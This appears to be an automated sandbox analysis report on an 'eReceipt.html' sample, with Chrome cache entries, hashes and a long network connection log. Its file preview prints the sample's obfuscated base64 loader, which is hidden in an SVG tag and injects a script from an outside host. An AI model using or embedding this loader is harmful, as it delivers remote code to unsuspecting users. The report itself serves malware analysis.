MD5:	5C7ACF60A2ACAA5C54BF2B2EC6D484D8
SHA1:	F1837FD5DB6DAD498148D7D77438DE693114B042
SHA-256:	EE21196A4F5EF64135B7998E58F1E7210608674E3FDF97B328C1C237E3B184DB
SHA-512:	11516935B1C777D6457B7FB44235F8C8A73BA1313AC8607C16D342EECAE22AE5BFD702CE01DBB2DC63C3D480E89A689C7AA6CAC8D822E306B413534FEE770A77
Malicious:	false
Preview:	..........uV.n$7......iR.+..LN9.oA..5.......nx..S...l..%[..)..=.....z.?/.._......\|{8.4M........^.~w>=>......t.....~.M;.....,....n~}=-.7........U.<>=.._.O.....y9.>.....y...wR.`8..r..q$.....KR...X.....W.....$g'". W<..$..-.2.....h04.O...\|._../.6.)..ax..X...wzT.....2..7....1....C.@8B....d.M..KS8..>... .%=...q....yWF....\..kM.H....<..&.mM..s...%.'G.n..(..h.-.I.S.K...1;..:7.xdvP..y.]....Q$..4.@.2Fp ..Oe.......=.I........F......{....`.............uC..G.....'..E.....dR..g.(.+K.q...?...O.%.@.i..."n...1 .JTm.S..wM.,../.\|H..s.....C.=.B1(.B.f..:K.\.T....c..N...sT..D....T.=..Zt..M2.).FP.h.:.+A.. ^N-$..U.K..n.u.DZ...d.C....s.n.PI..@.4.pi....G..j.5.7l6....Q$...fs....uD......F...e%..}5.S.s.n".9...e&(_.=..oq..F%L...G].....b.`..hi.S.I.8..Y%hM.\|..W....jC.-a..'..%.r..W?...a...H...5.c......v.G..v.G.a....a/.LT.Fv......7.A...@.OcV.......6xcy,l[.wkP..-E...U..J.....1j....2....C+...?.I.Q.C.kM.n...j..5{HV)I...M.G2o......5.....E_..j.....D...^b..+.U..,K2

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	downloaded
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Static File Info

General

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	5.820697658203964
TrID:
File name:	eReceipt.html
File size:	731 bytes
MD5:	6865f1999275a7d00008a7b9594255c6
SHA1:	d1b831bca2766c7d362e46c4fbad8536f8f22495
SHA256:	85982cfb6533fa066ee415563c01369669691ca9750998a5e620cf54387020eb
SHA512:	13776003135aa6a11e47f3d36d10198d7405bd1cd27a2b32ba9661f4081262e7b2660f9d417439e8496c1ccea29d9067eba2f33f8f8eb5b565da447b7297e360
SSDEEP:	12:tpxMK9tfAtqVoGWy2KNqyq0pe4yxCCBQ8Uf5cHszvG4ZUf5cHszvGyWoCfMArNvC:tjMKfJoG12ujpepxCP8+5cHGVZ+5cHGL
TLSH:	2E019411B03BAD447D5560F7F1A46CD360D82DECD908288FAD7120E29F83D55D7ED144
File Content Preview:	<svg style=display:none src=WEPbsACuDyQbOyQ id="eHBPaG5YPWRvY3VtZW50O0hWZFdWVT13aW5kb3dbYXRvYigiWkc5amRXMWxiblEiKV1bYXRvYigiWTNKbFlYUmxSV3hsYldWdWRBIildKCJzYyIgKyAicmlwdCIpO0hWZFdWVVsic3IiICsgImMiXT0iaHR0cHM6Ly9hZG1pbi5jaGlsZGRlbnQuaXIvaW5zdGFsbGVyL2hvc3Q

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2023 16:55:18.234472036 CET	49675	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:18.234474897 CET	49674	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:18.359667063 CET	49673	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:22.186465025 CET	49704	443	192.168.2.5	142.251.163.84
Nov 28, 2023 16:55:22.186552048 CET	443	49704	142.251.163.84	192.168.2.5
Nov 28, 2023 16:55:22.186644077 CET	49704	443	192.168.2.5	142.251.163.84
Nov 28, 2023 16:55:22.187118053 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.187158108 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.187211037 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.187829018 CET	49704	443	192.168.2.5	142.251.163.84
Nov 28, 2023 16:55:22.187865973 CET	443	49704	142.251.163.84	192.168.2.5
Nov 28, 2023 16:55:22.188186884 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.188201904 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.436136007 CET	443	49704	142.251.163.84	192.168.2.5
Nov 28, 2023 16:55:22.436351061 CET	49704	443	192.168.2.5	142.251.163.84
Nov 28, 2023 16:55:22.436374903 CET	443	49704	142.251.163.84	192.168.2.5
Nov 28, 2023 16:55:22.436597109 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.436870098 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.436882973 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.437273979 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.437340021 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.437707901 CET	443	49704	142.251.163.84	192.168.2.5
Nov 28, 2023 16:55:22.437771082 CET	49704	443	192.168.2.5	142.251.163.84
Nov 28, 2023 16:55:22.437943935 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.437999010 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.442050934 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.442125082 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.442230940 CET	49704	443	192.168.2.5	142.251.163.84
Nov 28, 2023 16:55:22.442353010 CET	443	49704	142.251.163.84	192.168.2.5
Nov 28, 2023 16:55:22.442377090 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.442383051 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.442460060 CET	49704	443	192.168.2.5	142.251.163.84
Nov 28, 2023 16:55:22.442467928 CET	443	49704	142.251.163.84	192.168.2.5
Nov 28, 2023 16:55:22.487380028 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.487385035 CET	49704	443	192.168.2.5	142.251.163.84
Nov 28, 2023 16:55:22.617238998 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.617629051 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.617710114 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.617996931 CET	49705	443	192.168.2.5	172.253.122.113
Nov 28, 2023 16:55:22.618015051 CET	443	49705	172.253.122.113	192.168.2.5
Nov 28, 2023 16:55:22.628464937 CET	443	49704	142.251.163.84	192.168.2.5
Nov 28, 2023 16:55:22.628854990 CET	443	49704	142.251.163.84	192.168.2.5
Nov 28, 2023 16:55:22.628926039 CET	49704	443	192.168.2.5	142.251.163.84
Nov 28, 2023 16:55:22.629328966 CET	49704	443	192.168.2.5	142.251.163.84
Nov 28, 2023 16:55:22.629345894 CET	443	49704	142.251.163.84	192.168.2.5
Nov 28, 2023 16:55:23.187259912 CET	49710	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.187298059 CET	443	49710	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.187362909 CET	49710	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.187501907 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.187542915 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.187594891 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.187851906 CET	49710	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.187866926 CET	443	49710	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.188092947 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.188107014 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.530625105 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.531361103 CET	443	49710	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.531374931 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.531400919 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.531893015 CET	49710	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.531900883 CET	443	49710	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.532289982 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.532352924 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.532855988 CET	443	49710	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.532922983 CET	49710	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.534704924 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.534765959 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.535624981 CET	49710	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.535684109 CET	443	49710	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.535717964 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.535727978 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.577389956 CET	49710	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.577403069 CET	443	49710	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.624284029 CET	49710	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.741341114 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.741460085 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.866491079 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.866559982 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.866647005 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.866681099 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.921217918 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:23.921243906 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:23.968038082 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.024909019 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.024946928 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.024974108 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.025033951 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.025100946 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.025105953 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.025288105 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.025309086 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.025342941 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.025347948 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.025372982 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.025566101 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.025610924 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.025631905 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.025635958 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.025669098 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.077414989 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.077474117 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.124420881 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.183684111 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.183705091 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.183731079 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.183779955 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.183787107 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.183810949 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.183854103 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.183861017 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.183875084 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.183988094 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.184005022 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.184012890 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.184036970 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.184046030 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.184077024 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.184103012 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.184178114 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.184184074 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.184231043 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.201716900 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.201813936 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.201881886 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.201909065 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.201937914 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.201961040 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.342329979 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.342470884 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.342509985 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.342638969 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.342701912 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.342715979 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.342895031 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.342966080 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.342976093 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.343204021 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.343274117 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.343283892 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.343461990 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.343539000 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.343550920 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.343650103 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.343722105 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.343732119 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.343852043 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.343920946 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.343930960 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.344120979 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.344192028 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.344202042 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.344377995 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.344445944 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.344456911 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.344636917 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.344702959 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.344712973 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.360096931 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.360172987 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.360188007 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.360200882 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.360260963 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.360280991 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.360333920 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.360335112 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.360344887 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.360394001 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.360404968 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.391635895 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.400316954 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.400391102 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.400409937 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.400469065 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.500802994 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.500883102 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.500905991 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.500929117 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.500979900 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.500983953 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501068115 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501117945 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.501121044 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501192093 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501265049 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.501269102 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501343012 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501394987 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.501399040 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501456976 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501512051 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.501516104 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501581907 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501636028 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.501638889 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501696110 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501748085 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.501751900 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501786947 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501841068 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.501844883 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501900911 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.501954079 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.501957893 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.502002001 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.502053976 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.502057076 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.502255917 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.502305031 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.502309084 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.502417088 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.502475023 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.502479076 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.502526045 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.502576113 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.502578974 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503041029 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503099918 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.503103018 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503114939 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503190994 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503191948 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.503209114 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503257036 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.503259897 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503298998 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503300905 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.503308058 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503355980 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.503360033 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503392935 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503444910 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.503448009 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503498077 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503552914 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.503556967 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.503818035 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.518332958 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.518413067 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.518431902 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.518450022 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.518479109 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.518482924 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.518507004 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.518539906 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.518543005 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.518553972 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.518603086 CET	49711	443	192.168.2.5	172.245.92.82
